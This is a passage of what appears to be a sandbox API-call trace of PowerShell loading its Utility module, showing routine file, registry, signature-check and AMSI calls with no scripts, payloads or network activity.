SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4db70) returned 1 [0192.669] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0192.788] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0192.788] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0192.788] CoTaskMemAlloc (cb=0x20c) returned 0x1ef70475ae0 [0192.788] GetSystemDirectoryW (in: lpBuffer=0x1ef70475ae0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0192.788] CoTaskMemFree (pv=0x1ef70475ae0) [0192.788] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0192.789] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0192.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4d790) returned 1 [0192.789] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4d870 | out: lpFileInformation=0x5bfed4d870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5450597b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5450597b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5450597b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x112d0)) returned 1 [0192.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4d750) returned 1 [0192.789] GetSystemInfo (in: lpSystemInfo=0x5bfed4d8e0 | out: lpSystemInfo=0x5bfed4d8e0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0192.789] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4d7e8 | out: phkResult=0x5bfed4d7e8*=0x76c) returned 0x0 [0192.790] RegQueryValueExW (in: hKey=0x76c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5bfed4d838, lpData=0x0, lpcbData=0x5bfed4d830*=0x0 | out: lpType=0x5bfed4d838*=0x0, lpData=0x0, lpcbData=0x5bfed4d830*=0x0) returned 0x2 [0192.790] RegCloseKey (hKey=0x76c) returned 0x0 [0192.854] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0192.854] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0192.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4d740) returned 1 [0192.854] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0192.854] GetFileType (hFile=0x76c) returned 0x1 [0192.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4d6b0) returned 1 [0192.854] GetFileType (hFile=0x76c) returned 0x1 [0192.855] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4d708*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4d708*=0) returned 0x0 [0192.855] ReadFile (in: hFile=0x76c, lpBuffer=0x1ef00444438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d788, lpOverlapped=0x0 | out: lpBuffer=0x1ef00444438*, lpNumberOfBytesRead=0x5bfed4d788*=0x983, lpOverlapped=0x0) returned 1 [0192.855] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4d708*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4d708*=0) returned 0x983 [0192.855] ReadFile (in: hFile=0x76c, lpBuffer=0x1ef00443923, nNumberOfBytesToRead=0x27d, lpNumberOfBytesRead=0x5bfed4d788, lpOverlapped=0x0 | out: lpBuffer=0x1ef00443923*, lpNumberOfBytesRead=0x5bfed4d788*=0x0, lpOverlapped=0x0) returned 1 [0192.855] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4d708*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4d708*=0) returned 0x983 [0192.855] ReadFile (in: hFile=0x76c, lpBuffer=0x1ef00444438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d788, lpOverlapped=0x0 | out: lpBuffer=0x1ef00444438*, lpNumberOfBytesRead=0x5bfed4d788*=0x0, lpOverlapped=0x0) returned 1 [0192.856] CoTaskMemAlloc (cb=0x20c) returned 0x1ef70475f20 [0192.856] GetSystemDirectoryW (in: lpBuffer=0x1ef70475f20, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0192.856] CoTaskMemFree (pv=0x1ef70475f20) [0192.856] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0192.856] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0192.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4d690) returned 1 [0192.856] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4d770 | out: lpFileInformation=0x5bfed4d770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5450597b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5450597b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5450597b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x112d0)) returned 1 [0192.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4d650) returned 1 [0192.856] GetSystemInfo (in: lpSystemInfo=0x5bfed4d7e0 | out: lpSystemInfo=0x5bfed4d7e0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0192.857] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4d6e8 | out: phkResult=0x5bfed4d6e8*=0x770) returned 0x0 [0192.857] RegQueryValueExW (in: hKey=0x770, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5bfed4d738, lpData=0x0, lpcbData=0x5bfed4d730*=0x0 | out: lpType=0x5bfed4d738*=0x0, lpData=0x0, lpcbData=0x5bfed4d730*=0x0) returned 0x2 [0192.857] RegCloseKey (hKey=0x770) returned 0x0 [0192.857] CloseHandle (hObject=0x76c) returned 1 [0192.880] CoCreateGuid (in: pguid=0x5bfed4d8b8 | out: pguid=0x5bfed4d8b8*(Data1=0xdf5e1f92, Data2=0x12b2, Data3=0x4779, Data4=([0]=0xb1, [1]=0x59, [2]=0x1c, [3]=0xa4, [4]=0xb0, [5]=0x80, [6]=0xe6, [7]=0xce))) returned 0x0 [0192.897] QueryPerformanceCounter (in: lpPerformanceCount=0x5bfed4d328 | out: lpPerformanceCount=0x5bfed4d328*=28888552602) returned 1 [0192.898] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0192.945] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0192.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4d1a0) returned 1 [0192.945] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4d280 | out: lpFileInformation=0x5bfed4d280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983)) returned 1 [0192.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4d160) returned 1 [0192.945] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0192.946] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0192.946] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0192.946] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0192.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4d080) returned 1 [0192.946] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4d160 | out: lpFileInformation=0x5bfed4d160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983)) returned 1 [0192.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4d040) returned 1 [0192.946] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0192.946] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0192.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4d010) returned 1 [0192.946] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0192.947] GetFileType (hFile=0x76c) returned 0x1 [0192.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4cf80) returned 1 [0192.947] GetFileType (hFile=0x76c) returned 0x1 [0192.947] WTGetSignatureInfo () returned 0x0 [0193.072] CertDuplicateCertificateContext (pCertContext=0x1ef7031d670) returned 0x1ef7031d670 [0193.072] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4d0a8 | out: phkResult=0x5bfed4d0a8*=0x788) returned 0x0 [0193.072] RegQueryValueExW (in: hKey=0x788, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4d0f8, lpData=0x0, lpcbData=0x5bfed4d0f0*=0x0 | out: lpType=0x5bfed4d0f8*=0x1, lpData=0x0, lpcbData=0x5bfed4d0f0*=0x56) returned 0x0 [0193.072] RegQueryValueExW (in: hKey=0x788, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4d0f8, lpData=0x1ef00458950, lpcbData=0x5bfed4d0f0*=0x56 | out: lpType=0x5bfed4d0f8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4d0f0*=0x56) returned 0x0 [0193.072] RegCloseKey (hKey=0x788) returned 0x0 [0193.073] CoTaskMemAlloc (cb=0x10) returned 0x1ef703c7fd0 [0193.073] CoTaskMemAlloc (cb=0x50) returned 0x1ef70470880 [0193.073] WinVerifyTrust () returned 0x0 [0193.075] CoTaskMemFree (pv=0x1ef70470880) [0193.076] CoTaskMemFree (pv=0x1ef703c7fd0) [0193.076] CertFreeCertificateContext (pCertContext=0x1ef7031d670) returned 1 [0193.076] CloseHandle (hObject=0x76c) returned 1 [0193.076] AmsiOpenSession () returned 0x0 [0193.076] AmsiScanString () returned 0x80070015 [0193.261] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en-US\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en-us\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0193.261] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0193.277] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0193.277] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0193.277] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0193.277] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0193.582] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0193.582] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x64, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x63 [0193.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4d0b0) returned 1 [0193.583] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4d190 | out: lpFileInformation=0x5bfed4d190*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0193.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4d070) returned 1 [0193.584] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0193.584] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0193.634] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5bfed4cca0, nSize=0xbc | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x91 [0193.636] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\modules")) returned 0xffffffff [0193.650] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0193.652] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0193.652] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x51, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x50 [0193.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4cce0) returned 1 [0193.652] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4cdc0 | out: lpFileInformation=0x5bfed4cdc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0193.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4cca0) returned 1 [0193.655] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0193.657] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0193.657] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0193.657] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x59, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x58 [0193.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4cce0) returned 1 [0193.658] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4cdc0 | out: lpFileInformation=0x5bfed4cdc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0193.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4cca0) returned 1 [0193.660] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0194.038] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0194.038] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0194.038] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0194.039] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: 